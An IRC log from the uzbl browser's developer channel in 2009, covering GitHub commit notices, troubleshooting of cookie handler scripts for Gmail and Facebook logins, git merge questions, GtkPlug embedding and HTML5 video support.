00:10 < github> unbreak markdown layout
00:10 < github> http://bit.ly/HK3z4
00:10 < github> uzbl: Dieter Plaetinck master SHA1-8e15fc2
00:10 < github> do not do cookie debugging (with notifier) by default
00:10 < github> http://bit.ly/1ts40d
00:10 < github> uzbl: Dieter Plaetinck master SHA1-3fafe96
00:10 < github> todo updates
00:10 < github> http://bit.ly/nmZhn
00:10 < github> uzbl: Dieter Plaetinck master SHA1-e7af480
00:10 < github> Merge branch 'experimental'
00:10 < github> http://bit.ly/f5CGC
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00:10 < Dieterbe> okay, quite a productive evening
00:10 < Dieterbe> i'm going to sleep now
00:11 < Dieterbe> goodnight everyone
00:11 < mxey> gnait.
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00:42 < Masca> Are someone getting issues loggin in to gmail? (I just merged dieter's experimental).
00:44 < Masca> yep, looks like cookie script is broken.
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01:21 < holizz> Yeah, logging into Google is an issue. I'm not entirely sure it's the script though.
01:22 < sscj> i can log in just fine without a cookie handler
01:22 < Masca> I disable the cookie handler in config file and I can login again. Without cookes, obviously.
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01:26 < holizz> Oh, you mean you have issues actually logging in? I thought you meant issues _staying_ logged in.
01:30 < Masca> yep, logging in.
01:35 < holizz> What handler are you using?
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01:39 < Masca> ./examples/script/cookies.sh
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01:41 < holizz> Try my cookies.py, as that works for logging into Gmail (but not Facebook) http://gist.github.com/125056
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01:46 < Masca> mmm download script not working?
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01:53 < Masca> holizz: It logged in. =)
01:55 < holizz> Masca: Awesome. So it was just the script then?
01:56 < Masca> I don't know almost anything aobut cookies but I can guess the script is sending some wrong data to the server. =P
01:58 < holizz> cookies.py uses cookielib, so it's bound to be better than cookies.sh, which tries to do everything manually.
01:58 < Masca> pyhton's cookielib?
02:00 < holizz> Yep.
02:02 < holizz> Anyway, it's past 1. I should be going to bed.
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08:13 < bct> goodness, dreadlorde
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10:21 < Dieterbe> good morning
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10:31 < Dieterbe> @peak
10:31 < dev_null> Dieterbe: holizz_ set a record of 81 people in #uzbl on June 06, 2009 at 04:56 PM CET. You'll need 12 more people to break the peak.
10:33 < scp1> Morning
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11:19 < smithy_> in your callbacks, you always (void) the parameters that you do not use, why is that?
11:19 < smithy_> I tried googling but couldn't find anything related
11:22 < psychon> -Wunused (which is part of -W and -Wextra) would warn about unused parameters
11:22 < psychon> -Wno-unused-parameters is the better solution IMHO, but meh...
11:23 < smithy_> oh ok, thanks
11:23 < Dieterbe> psychon: aha. we were just not aware of -Wno-unused-parameters
11:23 < scp1> Does that ruby cookie-manager work for you guys?
11:24 < Dieterbe> didn't try it, but i'm now testing holizz' python one
11:24 < Dieterbe> which looks good
11:24 < scp1> ah
11:24 < Dieterbe> python has a built in cookie library which is nice. ruby not (or at least cookies.rb doesn't use any cookie lib)
11:27 < scp1> It seems like it is actually doing something, but it doesnt work for me... or maybe I'm just retarded
11:27 < scp1> scp1:shiva » cat cookies.txt
11:27 < scp1> archlinux.se	FALSE	/	FALSE	1275902755	phpbb3_b6i5p_u	113
11:27 < Dieterbe> scp1: are you talking about .rb or .py?
11:27 < scp1> rb
11:27 < scp1> might as well try that python approach then
11:27 < Dieterbe> can't help you with that
11:29 < scp1> where can I find the python one?
11:29 < Dieterbe> http://gist.github.com/125056
11:29 < scp1> thanks
11:29 < Dieterbe> i'll probably do some minor editing and merge it in my tree
11:29 < scp1> nice :)
11:31 < Dieterbe> but first i'm gonna enjoy my loggedinness on gmail
11:31 < scp1> :D
11:31 < scp1> yeah I've missed those nasty cookies
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11:32 < scp1> We're sorry. It seems there is a problem. Please try using Gmail with a supported browser. If you're encountering this error while using a supported browser, we suggest alerting your Internet Service Provider (ISP) that a proxy is failing to accept cookies on HTTP redirects.
11:32 < scp1> Hm.
11:32 < Dieterbe> o_O
11:32 < Dieterbe> don't forget to chmod +x the script
11:32 < scp1> I did :)
11:32 < Dieterbe> and always run with -v when playing
11:33 < bjesus> scp1, you too are having problems logging into gmail with the new cookies_handler?
11:33 < scp1> bjesus: seems so yes
11:33 < Dieterbe> i think bjesus is talking about cookies.sh and scp1 about cookies.py
11:33 < scp1> ah
11:33 < bjesus> yeah, what's cookies.py ?
11:33 < Dieterbe> http://gist.github.com/125056 holizz wrote this
11:34 < Dieterbe> i will probably use this as "official" example script instead of .sh
11:34 < scp1> Ok, I suck.
11:34 < scp1> It still does not work
11:35 < bjesus> why? what's the different between the two? is it only the language? I saw in the wiki that there's also a ruby implementation.
11:35 < Dieterbe> .py uses a python cookie library. .sh uses manual sed/awk stuff and does not implement the standards yet
11:36 < bjesus> anyone, it seems that gmail is doing something odd with it's cookies, because they *do* work on most websites, I get the problem only with gmail.
11:36 < bjesus> interesting. I'll try that.
11:36 < scp1> Okay, since cookies does not work with either of them scripts on any websites for me... hrm
11:37 < scp1> what does your cookie file look like?
11:38 < bjesus> I just tested the cookies.sh one on my website, and it remembers me. I think the problems has something to do with the fact it only appends stuff and doesn't replace. I believe it prevents gmail from loading because it cannot update your logging-in stuff as it should.
11:38 < Dieterbe> yeah the .sh is really basic
11:39 < bjesus> something like 'www.uzbl.org    FALSE   /wiki/  FALSE   end_session     DokuWiki        sva5nqf9e4n79smp1olfhpimo6'
11:39 < scp1> ok, mine looks pretty much the same, but I still have to login every time I visit the site
11:39 < bjesus> what site? gmail?
11:39 < scp1> all sites
11:40 < bjesus> and you sure you're using the latest revision of cookies.sh ? i just did the upgrade now, and it's the first time it started working for me.
11:41 < scp1> I'm using the python one, but I've tried both the sh and the ruby one
11:42 < bjesus> i'll got and try the python one, see how it works out for me and i'll let you know
11:42 < scp1> thanks
11:43 < Dieterbe> scp1 (and bjesus), you definitely also need a recent uzbl. master or experimental less then 10 hours old will do. but not older
11:43 < Dieterbe> because there was a bug in uzbl.c
11:43 < scp1> I just did a pull
11:49 < scp1> hmmmm
11:49 < scp1> it is _some what_ functional
11:51 < Dieterbe> so, scp1 for you: cookies.sh doesn't do much, and cookies.py is somewhat functional?
11:52 < scp1> yeah... It does work on a couple of forums, but not on every site it seems. Gonna try gmail and facebook
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11:52 < Dieterbe> holizz! just the person i need :)
11:52 < holizz> Hi there.
11:52 < Dieterbe> scp1: hmm well i only tried gmail and bbs.archlinux tbh
11:53 < holizz> Are cookies playing up?
11:53 < scp1> when I try to login to gmail, it just sends me back to the front page without saying a word
11:53 < Dieterbe> holizz: your cookies.py looks good. i want to use it as "official" example script instead of the .sh
11:53 < scp1> holizz: SyntaxError: Non-ASCII character '\xc2' in file /home/scp1/.config/uzbl/cookies.py on line 3
11:53 < scp1> there is no line 3 >_>
11:54 < holizz> Somebody last night was saying cookies.sh was causing problems with gmail, but .py worked for them.
11:54 < Dieterbe> that's because .sh is not merely as good as .py
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11:55 < Dieterbe> holizz: can you just change the script so that it does not just use os.environ['XDG_DATA_HOME']+'/uzbl/cookies.txt'
11:55 < bjesus> just tried .py - it works for gmail after clearing cookies.txt, but only for one time. after logging-out, i can't login unless i clear my cookies.txt again.
11:55 < Dieterbe> holizz: i would like it if .py would mimic the following behavior from .sh:
11:55 < Dieterbe> [ -d /usr/share/uzbl/examples/data ] && cookie_data=/usr/share/uzbl/examples/data/cookies.txt
11:55 < Dieterbe> [ -d $XDG_DATA_HOME/uzbl/          ] && cookie_data=$XDG_DATA_HOME/uzbl/cookies.txt
11:55 < Dieterbe> [ -d ./examples/data/              ] && cookie_data=./examples/data/cookies.txt #useful when developing
11:55 < Dieterbe> [ -z "$cookie_data" ] && exit 1
11:56 < holizz> Dieterbe: I can do that.
11:56 < Dieterbe> bjesus: i'm gonna try that
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11:56 < github> uzbl: Dieter Plaetinck experimental SHA1-3335c42
11:56 < github> add holizz' cookies.py
11:56 < github> http://bit.ly/CFMHn
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11:57 < scp1> ugh.
11:57 < scp1> Cookies Required
11:57 < scp1> Cookies are not enabled on your browser. Please adjust this in your security preferences before continuing.
11:57 < scp1> facebook ^
11:57 < scp1> it does work on some sites though? :s
11:57 < scp1> wtf is \xc2 ?
12:01 < holizz> That's an escape code.
12:02 < holizz> Are you sure there isn't any weird whitespace or anything on line 3?
12:02 < scp1> Totally sure
12:03 < bjesus> did you downloaded the raw version or did you copy&paste the code? sometimes c&p puts shits in it
12:03 < holizz> Added some directory checking stuff: http://gist.github.com/125056
12:03 < Dieterbe> yeah click the raw button scp1 :)
12:03 < scp1> bjesus: yeah I figured that was the problem so I wgetted it instead...
12:04 < scp1> (uzbl:24346): libsoup-CRITICAL **: soup_message_headers_append: assertion `strpbrk (value, "\r\n") == NULL' failed
12:04 < scp1> no idea if that's relevant
12:04 < Dieterbe> whooaa wait a minute
12:05 < holizz> This is interesting.
12:05 < Dieterbe> that is a bug i fixed several days ago
12:05 < scp1> wot?!
12:05 < Dieterbe> maybe even a week or so
12:05 < scp1> I just did a pull? :/
12:06 < Dieterbe>         char *p = strchr(uzbl.comm.sync_stdout, '\n' );
12:06 < Dieterbe>         if ( p != NULL ) *p = '\0';
12:06 < Dieterbe> line 2264
12:06 < Dieterbe> do you have that, scp1 ?
12:06 < holizz> What commit does "git show" say you're on?
12:06 < scp1> Dieterbe: nah...
12:07 < scp1> Date:   Tue May 26 23:20:52 2009 +0200
12:07 < scp1> WTF
12:07 < scp1> I was pulling the git several times yesterday and was getting new things all the time?
12:08 < Dieterbe> what does `git branch` say?
12:08 < scp1> to late.. removed it, figured I'll do a clone again :s
12:09 < scp1> Date:   Sun Jun 7 00:09:37 2009 +0200
12:10 < scp1> Any idea how I fucked up? :P
12:10 < Dieterbe> that's better
12:10 < Dieterbe> hmm well i know that git pull sometimes does not behave as expected. eg sometimes it tries to merge and does not give you a 1:1 version of upstream, but more of a mixup
12:10 < Dieterbe> however, in your case i think you were not on branch origin/experimental or so
12:11 < Dieterbe> maybe you were on a local branch (or your own, or whatever)
12:11 < scp1> lol okay
12:11 < scp1> awesome!
12:11 < scp1> thanks for your patience guys :)
12:13 < Dieterbe> customer is the boss ;)
12:14  * holizz starts work on a new SoupCookieJar 'class' to interface with the handler
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12:14 < github> uzbl: Tom Adams experimental SHA1-7aef978
12:14 < github> pick datafile location for cookies more smartly
12:14 < github> http://bit.ly/fwTiO
12:14 < github> uzbl: Dieter Plaetinck experimental SHA1-fea380d
12:14 < github> make cookies.py default sample cookie script
12:14 < github> http://bit.ly/16naVD
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12:14 < Dieterbe> holizz: great
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12:16 < github> uzbl: Dieter Plaetinck master SHA1-3335c42
12:16 < github> add holizz' cookies.py
12:16 < github> http://bit.ly/CFMHn
12:16 < github> uzbl: Tom Adams master SHA1-7aef978
12:16 < github> pick datafile location for cookies more smartly
12:16 < github> http://bit.ly/fwTiO
12:16 < github> uzbl: Dieter Plaetinck master SHA1-fea380d
12:16 < github> make cookies.py default sample cookie script
12:16 < github> http://bit.ly/16naVD
12:16 < github> uzbl: Dieter Plaetinck master SHA1-0161809
12:16 < github> Merge branch 'experimental'
12:16 < github> http://bit.ly/qARQR
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12:17  * Dieterbe off casting vote for new goverment
12:17 < Dieterbe> see you later
12:17 < holizz> Awesome. Have fun.
12:18 < holizz> EU elections is it?
12:18  * dunz0r just voted as well
12:18 < dunz0r> gah. no I didn't
12:18  * scp1 too
12:18 < dunz0r> I did last week
12:18 < dunz0r> :)
12:19  * holizz voted Thursday
12:19 < dunz0r> but I put out piratpartiets ballots
12:19 < scp1> bra skit :)
12:20 < dunz0r> som fan :)
12:26 < sscj> piratpartiet ftw
12:26 < scp1> Allright, cookies on facebook still does now work for me, even though everything else seems ok
12:30 < bjesus> gmail works? can you log-in and log-out and then log-in again? using the shell or python handler?
12:35 < scp1> when I log out I cannot login automagically again though... python
12:35 < scp1> I usally never logout :<
12:36 < holizz> Yes, Google won't let you stay logged-in, it seems. No idea why.
12:37 < holizz> Facebook won't even let me log in, but this new patch I'm working on may or may not fix that.
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12:38 < scp1> Nice to hear that, that means I'm not failing completely
12:49 < sscj> i got a "csrf attack detected" when using cookies.py
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13:04 < Dieterbe> back
13:04 < Dieterbe> holizz: yeah.. EU
13:04 < Dieterbe> sscj: lol. nice
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13:49 < holizz> Is there a way to subscribe myself to all activity on the bug tracker? So far I've managed to subscribe to individual bug reports, but I want to be notified for new bugs too.
13:50 < Dieterbe> hmm not sure. i'll see if i can help you with that
13:55 < Dieterbe> holizz: even i, who is a admin @ flyspray cannot configure that.  i thought first adding you to the developers group or something would help, but i think what you want to do is not possible for any user group
13:56 < Dieterbe> holizz: aha, but there are several RSS feeds
13:56 < Dieterbe> holizz: look http://www.uzbl.org/bugs/index.php?do=toplevel&project=0
14:00 < holizz> Aha. Great.
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14:03 < holizz> Can we add things to the right-click menu via the config yet? I could do with adding "subscribe with Google Reader". Also, need to stick a feed icon in the status bar.
14:04 < Dieterbe> i don't think so, but it would be cool yeah
14:06 < holizz> Aha. We need user-specified default stylesheets.
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14:08 < holizz> I wonder if there's a sensible way to do user stylesheets per MIME type, because I notice uzbl renders feeds (Atom, at least) in a silly way.
14:34 < Dieterbe> hmmz
14:38 < holizz> "Your browser's cookie functionality is turned off. Please turn it on [?]". I wonder if I click the question-mark it'll help me get cookies working properly.
14:38 < Zaba> probably no
14:39 < Dieterbe> try it :)
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15:12 < Dieterbe> man. now uzbl is quite usable
15:12 < holizz> I haven't used Firefox in days.
15:12 < holizz> Which is approximately when I discovered uzbl.
15:13 < ds187> uzbl is uzbl :-)
15:13 < holizz> This is where I heard about it http://kmandla.wordpress.com/2009/06/01/uzbl-is-quite-usable/
15:14 < ds187> holizz: yes, that was my source too :-)
15:14 < Dieterbe> cool
15:14 < ds187> Dieterbe: is something like tabbed browsing planned for the future, or is that something which collides with the unix philosophie? (so i wouldn't see how or why )
15:15 < Dieterbe> well, we consider multiple instances management to be an issue that needs to be handled outside of uzbl. either by your WM or a script of your choice (using dmenu for example)
15:16 < holizz> I keep all my uzbl instances in one "tab" of awesome. Works just fine.
15:18 < Dieterbe> yeah, and i use the stacked mode in wmii
15:18 < ds187> i use openbox with lxpanel, don't know if there is a stack-feature somewhere...
15:19 < Dieterbe> ds187: basically the only thing you really need, is a way to maximize the instance you want, (to keep the others "minimized" or whatever) and shortcuts/a tool to switch to another uzbl process
15:20 < Dieterbe> even if openbox does not support that, you can hack it together with tools such as dmenu and wmctrl
15:21 < ds187> i think i'll dig into that problem later......at the moment i'm searching for an uzbl-dmenu example somewhere, because i don't know how to use that to my advantage
15:24 < Dieterbe> ds187: the bookmarks and history scripts use dmenu (and dmenu-vertical, if you have it)
15:25 < ds187> which scripts do you mean exactly...because for example insert_bookmark.sh which came with the source uses zenity
15:26 < ds187> ahh, sorry
15:26 < Dieterbe> load_from_*
15:26 < ds187> the load_url_from_bookmarks
15:26 < ds187> there is dmenu :-)
15:26 < ds187> i'll give it a try
15:27 < Dieterbe> ;)
15:31 < ds187> ok, i started uzbl and hit u and got a demnu containing the history.....but when i hit enter on one of the entries all i get is an error message on the console: 'command "act" not understood. ignoring.' and inside uzbl nothing happens
15:33 < Dieterbe> yeah, that's old syntax
15:33 < Dieterbe> you have to keep your config up to date :)
15:33 < ds187> oh
15:34 < ds187> then i'll do that now :-)
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15:46 < Dieterbe> hi uranther 
15:47 < uranther> ah, hey
15:47 < uranther> just got your email
15:47 < uranther> i think git is a tigglebiddybitch and merged some stuff wrong. but besides that
15:47 < uranther> what do we do about not unlinking the fifo?
15:48 < Dieterbe> uzbl should clean up its stuff when it exits
15:48 < uranther> yeah that makes sense
15:50 < uranther> - inspector_dettach_window_cb <-- why did you change this so it has 2 't's in it? this is incorrect spelling.
15:50 < uranther> i changed it from "dettach"
15:50 < uranther> to detach
15:50 < Dieterbe> oh
15:50 < uranther> that's how it is in my tree
15:50 < uranther> k got rid of the reset_zoom_level
15:50 < Dieterbe> uranther: you're right. i'm always confused by the red/green in git diffs
15:51 < Dieterbe> i always mix up the sides :P
15:51 < uranther> is there a way for git to show me what it's merging?
15:51 < Dieterbe> i just do the merge and then git diff
15:51 < uranther> ok so that doesn't auto-commit right?
15:51 < Dieterbe> yeah it does
15:51 < uranther> oh
15:51 < Dieterbe> but you can do: git merge --no-commit
15:51 < uranther> --no-comit
15:51 < uranther> yea
15:52 < uranther> ok, what to do about the fifo thing?
15:53 < uranther> can't you commit over a commit though? in otherwords, you can't have more than one commit goin?
15:53 < uranther> maybe that's wrong
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15:55 < Dieterbe> a commit is just a "state of your files" , associated with a message
15:57 < uranther> mm
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15:57 < uranther> i found another 'bug' methinks
15:58 < uranther> the destroy_cb should call close_uzbl instead of just gtk_main_quit amirite
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16:00 < Dieterbe> uranther: hmmm.. maybe
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16:03 < github> uzbl: Dieter Plaetinck experimental SHA1-96f9618
16:03 < github> faq entry about tabs + clarify url changing
16:03 < github> http://bit.ly/vsnOB
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16:06 < github> uzbl: Dieter Plaetinck master SHA1-178444b
16:06 < github> chmod cookies.py +x
16:06 < github> http://bit.ly/5Fujg
16:06 < github> uzbl: Dieter Plaetinck master SHA1-ec14eba
16:06 < github> document dump_config
16:06 < github> http://bit.ly/ytSUN
16:06 < github> uzbl: Dieter Plaetinck master SHA1-96f9618
16:06 < github> faq entry about tabs + clarify url changing
16:06 < github> http://bit.ly/vsnOB
16:06 < github> uzbl: Dieter Plaetinck master SHA1-e602d97
16:06 < github> Merge branch 'experimental'
16:06 < github> http://bit.ly/ttBpM
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16:37 < Dieterbe> LOL
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16:37 < Dieterbe> uranther: http://github.com/Dieterbe/uzbl/network
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16:38 < Dieterbe> a "free floating" commit :P
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16:39 < Dieterbe> uranther: "gh pages" ? where do i see that?
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17:04 < uranther> Dieterbe, huh?
17:05 < uranther> Dieterbe, i pushed my commits that you needed
17:05 < uranther> sorry for all the trouble - i'm mildly retarded.. but i'm goin to a cookout now
17:05 < uranther> peace
17:06 < Dieterbe> uranther: ok
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17:15 < Dieterbe> rob|: DuClare http://news.nopcode.org/dietline.c
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17:26 < holizz> Visiting that link in uzbl troubles me.
17:26 < Dieterbe> uzbl will download it
17:27 < Dieterbe> but that's not the point :P>
17:29 < holizz> Has anybody played with the new issue tracker on GitHub?
17:30 < Dieterbe> yeah
17:30 < Dieterbe> it's way too limited
17:30 < Dieterbe> we used it before we moved to flyspray
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17:32 < holizz> I see.
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18:37 < slyson> hi. I noticed there is meant to be some minimal cookie support. Can I close the browser and have it log back in automatically to sites like gmail when I re-open?
18:38 < holizz> slyson: That works for most sites. Just not Gmail usually.
18:40 < holizz> Cookies should work for most sites in both Dieterbe/master and Dieterbe/experimental, as long as you're using cookies.py. cookies.sh has some issues.
18:52 < slyson> I just logged in on bbs.archlinux.org closed the browser then re-opened and I wasn't logged in anymore. I did it for a few other sites like bloglines too.
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18:53 < slyson> using experimental
18:53 < slyson> ls
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18:55 < holizz> Have you set up cookies.py in your config file?
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19:02 < slyson> well I have set cookie_handler as cookies.py.
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19:05 < slyson> ok I had ./ for all my script lines. I had to use an absolute path instead...
19:10 < gentooer> is the link following really ugly for anyone else on w3schools.com? the little circles for the numbers get stretched across the whole screen!
19:13 < Dieterbe> that's not how it's supposed to be
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19:25 < dreadlorde> does /. render correctly for anyone else?
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19:27 < Dieterbe> actually for me it seems to render fine
19:27 < Dieterbe> to i read in various places /. does not render correctly with recent webkit
19:27 < Dieterbe> eg all webkit based browsers are affected
19:27 < Dieterbe> s/to/though/
19:30 < KlavKalashj> is there any news about the issue with cookies/facebook?
19:30 < KlavKalashj> haven't been online in this channel today
19:32 < Dieterbe> no news
19:32 < KlavKalashj> damn
19:32 < KlavKalashj> :P
19:32 < KlavKalashj> well, the new python script seems to work just fine in other pages :)
19:32 < Dieterbe> don't use facebook. problem solved :P
19:33 < KlavKalashj> haha
19:33 < KlavKalashj> I am addicted: P
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19:38 < Dieterbe> well there plenty of people on the interwebs having similar issues. just google for 'facebook cookies'
19:38 < holizz> Make a Facebook group about it.
19:38 < KlavKalashj> haha
19:38 < Dieterbe> lol
19:39 < KlavKalashj> it worked fine in the sh script used earlier... so it is not a hard bug?
19:39 < holizz> Did it now? Hmm.
19:39 < KlavKalashj> my english again :P Q: is it hard to fix? :P
19:40 < KlavKalashj> yeah, for me facebook worked perfectly, except saving login
19:41 < holizz> Ah, that may well have been due to the fact that uzbl was actually handling cookies without the need for a cookie_handler, at least within one session.
19:41 < KlavKalashj> aha
19:41 < KlavKalashj> so uzbl need to tell facebook that it's alright? :P
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19:47 < Dieterbe> rob|: are you aware you had 2 incorrect signal names in set_up_inspector() ? dettach-window and destroy (you probably want 'finished' for the latter)
19:47 < holizz> GtkPlug is fun.
19:48 < gentooer> does html5 video not work because of uzbl or because of webkit?
19:52 < Zaba> prol'ly cause webkit
19:52 < gentooer> ok, i thought so
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19:53 < Zaba> although... I dunno.
19:53 < Zaba> it seems to support it since november of 2007
19:53 < Zaba> at least so does its blog say
19:53 < holizz> Why yes, uzbl _can_ act as a GtkPlug.
19:55 < Dieterbe> holizz: after you patched it, that is?
19:55 < holizz> Of course.
19:55 < Dieterbe> :)
19:56 < Dieterbe> man, you have to check this out http://www.youtube.com/watch?v=5HSwFR0uZVQ
19:56 < Dieterbe> (after 0:44)
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20:07 < scp1> Hey guys, look what I've found; http://www.facebook.com/home.php?ref=home#/group.php?sid=56c3db80c227331efb1f05db33e46def&gid=106619771158&ref=search
20:08 < Dieterbe> hehe cool
20:09 < Zaba> They ain't cool enough to support text browsers.  That ain't cool at all, dewd.
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20:12 < scp1> "Please keep it real", blah
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20:13 < Zaba> They're trying to speak the "cool" language.
20:13 < Zaba> Ey dude, keep 't real dude, I ain't followin dude, watsup!
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20:14 < scp1> :P
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20:14 < Zaba> Just make pages and stylesheets that validate.  And be done.
20:15 < scp1> indeed
20:15 < scp1> actually I prefer plaintext
20:15 < scp1> >_>
20:15 < Zaba> gopher :>
20:15 < holizz> Plaintext is superior to hypertext because there are no distracting hyperlinks.
20:15 < Zaba> plaintext is superior because you don't have to render it.
20:15 < Zaba> it's just.. well.. plain.
20:16 < Dieterbe> holy shit, i just realised something
20:16 < scp1> You also prefer plaintext?
20:16 < Dieterbe> my last name (Plaetinck) looks quite similar to Plaintext
20:16 < scp1> lol
20:16 < scp1> Lets change it
20:16 < Zaba> but well unrendered (x)html's plain text as well
20:17 < Zaba> in most cases, perfectly readable.
20:17 < Zaba> one could bug facebook about that page about supported browsers
20:18 < Zaba> arguing like, "If you use something so unstandard, just fix that.  Otherwise, it's not your business who's rendering your pages with."
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20:18 < scp1> Yeah. Though in most cases where I find that my browser/os/whatever isn't supported, I just stop supporting that site instead
20:18 < Zaba> So do I.
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20:18 < Zaba> and luckily, I don't use facebook
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20:21 < slyson> is there anyway to temporarily disable uzbl keys? My feedreader has built in keys that don't work with it.
20:22 < slyson> ok nevermind inset mode makes them work
20:22 < Dieterbe> hehe
20:22 < slyson> insert*
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20:28 < holizz> GtkPlug patch: http://github.com/holizz/uzbl/commit/4f2837fa9bc4649d24129e7de6a1304c1ed294d5
20:28 < holizz> Something to use as a socket: http://gist.github.com/125420
20:29 < holizz> Can't be bothered making a tabbed thing right now. Sockets + Notebooks = weird errors.
20:32 < Dieterbe> holizz: 1) what happens if there is no such socket? will uzbl crash or just give an error? 2) wouldn't it be better if we make this more dynamic? so that you can do 'set socket = ..' to change it at runtime. is it possible to attach/detach from sockets at runtime?
20:34 < holizz> 1. If the socket is 0, a normal instance appears (the same as if socket_id was unset).
20:35 < Dieterbe> and what if socket is 12345 but 12345 does not exist?
20:36 < holizz> It waits indefinately. I imagine it would do something if a socket were to claim it.
20:36 < holizz> It seems you can connect a plug with a socket at either end.
20:37 < Dieterbe> fair enough
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20:38 < holizz> 2. Yes, I imagine that would be useful if you had multiple processes and you wanted to move an uzbl instance between them... I'd rather wait for a working container script and see if anybody actually wants to do that.
20:40 < holizz> Although, I imagine you could just set up a new socket to steal the plug.
20:42 < holizz> Not on the subject of plugs: Is it just me who gets the warnings about detach-window and destroy?
20:44 < holizz> Can we just delete those lines or will something bad happen?
20:48 < Dieterbe> ah i actually merged the fixes for those 20 minutes ago :)
20:49 < Dieterbe> just git fetch dieter && git merge dieter/experimental
20:49 < Dieterbe> holizz: ^^
20:51 < holizz> Ah. Didn't notice.
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22:33 < slyson> Using the follow_Number.js script because it adds hints to text boxes as well. When it selects the text box the cursor starts blinking but I still have to escape from the 'fl' command and press i before I can actually start typing. Has anyone else found this tedious?
22:34 < slyson> I'm wondering if there is a better way to select text boxes and start typing straight away
22:35 < sscj> yeah, unfortunately there's no way to enter insert_mode from a js script
22:40 < slyson> I tried the option to put insert mode on permanently in the config file. But having to hold on to the mod key to type urls is even more annoying. It might be nice to have an option to toggle command mode on and off without having to hold on to the mod key.
22:45 < Dieterbe> hmmm. can't i do this?
22:45 < Dieterbe> test-config-dev: uzbl XDG_DATA_HOME=./examples/data               XDG_CONFIG_HOME=./examples/config               ./uzbl --uri http://www.uzbl.org --verbose
22:45 < Dieterbe> i want to run ./uzbl.. with those two enviroment variables set
22:45 < Dieterbe> (this is in the Makefile)
22:46 < Dieterbe> never mind, my mistake
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22:52 < github> uzbl: Dieter Plaetinck experimental SHA1-19489f8
22:52 < github> make the whole xdg/dev directories /configs etc more sense making. now theres just one config you can directly copy into your home and use without editing. the same config can be used while developing, the Makefile just overrides 2 xdg variables.  also the scripts can be a bit simpler now
22:52 < github> http://bit.ly/zgnGn
22:52 < github> uzbl: Dieter Plaetinck experimental SHA1-264c01b
22:52 < github> fixes to make the dir refactoring work
22:52 < github> http://bit.ly/cyLik
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22:57 < sscj> Dieterbe: how come you can't run formfiller.pl?
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22:58 < github> uzbl: Dieter Plaetinck experimental SHA1-1465169
22:58 < github> more suited make target names
22:58 < github> http://bit.ly/14eioH
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22:58 < Dieterbe> sscj: i don't remember. last time i tried it just didn't work. it's bedtime for me so i'll check later
22:58 < sscj> k
23:02 < Dieterbe> good night everyone
23:02 < Dieterbe> another productive weekend comes to its end :)
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23:56 < snipermatze> hey. is there any ressource for user scripts?
23:57 < sscj> well, there's the wiki
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01:33 < seppo0010> hi guys
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01:34 < seppo0010> I'm trying to store/recovery cookies, but I'm failing =(
01:34 < seppo0010> is that feature working already?
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01:35 < Deepspawn> seppo0010, Hi, it doesn't work for evey site but for some it does
01:36 < seppo0010> Deepspawn, I'm checking against my apache demo
01:36 < seppo0010> and it's not working
01:36 < seppo0010> but I have control on client and server
01:36 < seppo0010> is there anything I can do to make it work?
01:36 < seppo0010> I was able to set it
01:36 < seppo0010> and when it tries to recovery
01:36 < seppo0010> the sh script returns the cookie
01:36 < seppo0010> but the server isn't receiving it
01:36 < Deepspawn> seppo0010, hehe I don't know I'm just passing what has been said here. I think it's related to webkit
01:37 < seppo0010> oh, ok, tnx
01:45 < Morasique> somebody was recently talking about the problem with that i think
01:45 < Morasique> i didn't follow it, but i think they figured out what was wrong
01:46 < seppo0010> really? great
01:54 < holizz> Have you tried the Python script? It works better for most Web sites.
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02:03 < seppo0010> holizz, where is it
02:03 < seppo0010> ?
02:04 < seppo0010> anyone know why if I ctrl+z and "bg" uzbl it freezes? I have to "fg" to unfreeze it
02:04 < holizz> It's in Dieterbe's tree.
02:05 < seppo0010> oh, I haven't pulled in a while
02:05 < seppo0010> they moved files and stuff
02:06 < seppo0010> I'm gonna check it out now
02:06 < holizz> That should fix cookies for most sites. But Facebook, Twitter, and Google each have different problems.
02:07 < holizz> You might want to submit the thing about bg/fg as a bug. I can reproduce it too.
02:08 < seppo0010> u think is worthy?
02:09 < seppo0010> I mean, it's not a big deal :P
02:09 < holizz> Oh sure. It's not critical priority, but it's certainly a bug.
02:12 < holizz> Anyway, election results came in for my region ages ago. So I should go to bed now.
02:12 < seppo0010> election resuls?
02:12 < seppo0010> where r u from?
02:12 < seppo0010> oh...
02:12 < seppo0010> go to bed, sorry :P
02:13 < holizz> UK. We just had the EU elections.
02:14 < seppo0010> ok
02:14 < seppo0010> thanks for everything
02:16 < holizz> A bleeding nationalist only went and won a seat.
02:17 < holizz> But anyway, we can discuss the genocide of 10% of my region's population at a later date. Now is time for bed!
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02:18 < seppo0010> wow, I'm having app icon and cookies stored... awesome!
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04:48 < jhawthorn> has anyone done any ad blocking with uzbl?
04:48 < jhawthorn> if not I was going to try my hand at it
04:50 < Deepspawn> jhawthorn, You can use privoxy or polipo for that
04:52 < gentooer> i've tried privoxy. it's ok, but it's no adblock plus
04:52 < jhawthorn> ah, thanks
04:54 < jhawthorn> polipo looks like a good idea
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05:14 < scp1> Archlinux.se • Visa nya inlägg: http://forum.archlinux.se/search.php?search_id=newposts&sid=9edc746c94c06f5a3dac6b53fec0e39b
05:14 < scp1> oops
05:24 < gentooer> so I just built webkit-gtk from trunk with html5 video support and it's still not working in uzbl. is there another browser that is more stable and also uses webkit-gtk that I could test it with?
05:26 < scp1> gentooer: where are you trying to test it?
05:26 < gentooer> scp1, tinyvid.tv
05:26 < gentooer> it works great in firefox 3.5beta
05:27 < gentooer> in uzbl i just get a black box with no mention of the video tag
05:27 < scp1> give me a sec
05:29 < scp1> doesn't seem to work... :/
05:29 < scp1> The future is open.
05:29 < scp1> To watch this video without a proprietary plugin, download a more advanced browser.
05:29 < Morasique> can uzbl plays oggs?
05:30 < gentooer> well webkit-gtk uses gstreamer as a backend
05:30 < scp1> ugh.
05:30 < gentooer> scp1, what did you get that message with?
05:30 < scp1> gentooer: uzbl, on http://openvideo.dailymotion.com/video/x9ibu1_home-full-movie-hd_tech
05:30 < gentooer> oh yeah, they check your user agent
05:31 < scp1> no
05:31 < scp1> my user agent is 'idiot' actually
05:31 < Morasique> i just got it in firefox too
05:31 < scp1> Morasique: it works like a charm in Fx 3.5
05:31 < scp1> the <video> thing that is
05:32 < Morasique> on a fairly unrelated note, clicking on links in the webinspector doesn't work
05:33 < gentooer> so do any browsers use webkit-gtk? i want to test it without uzbl
05:33 < scp1> that safari thing? :/
05:33 < gentooer> well that won't run on linux..
05:34 < scp1> ah, ok
05:41 < Deepspawn> gentooer Midori
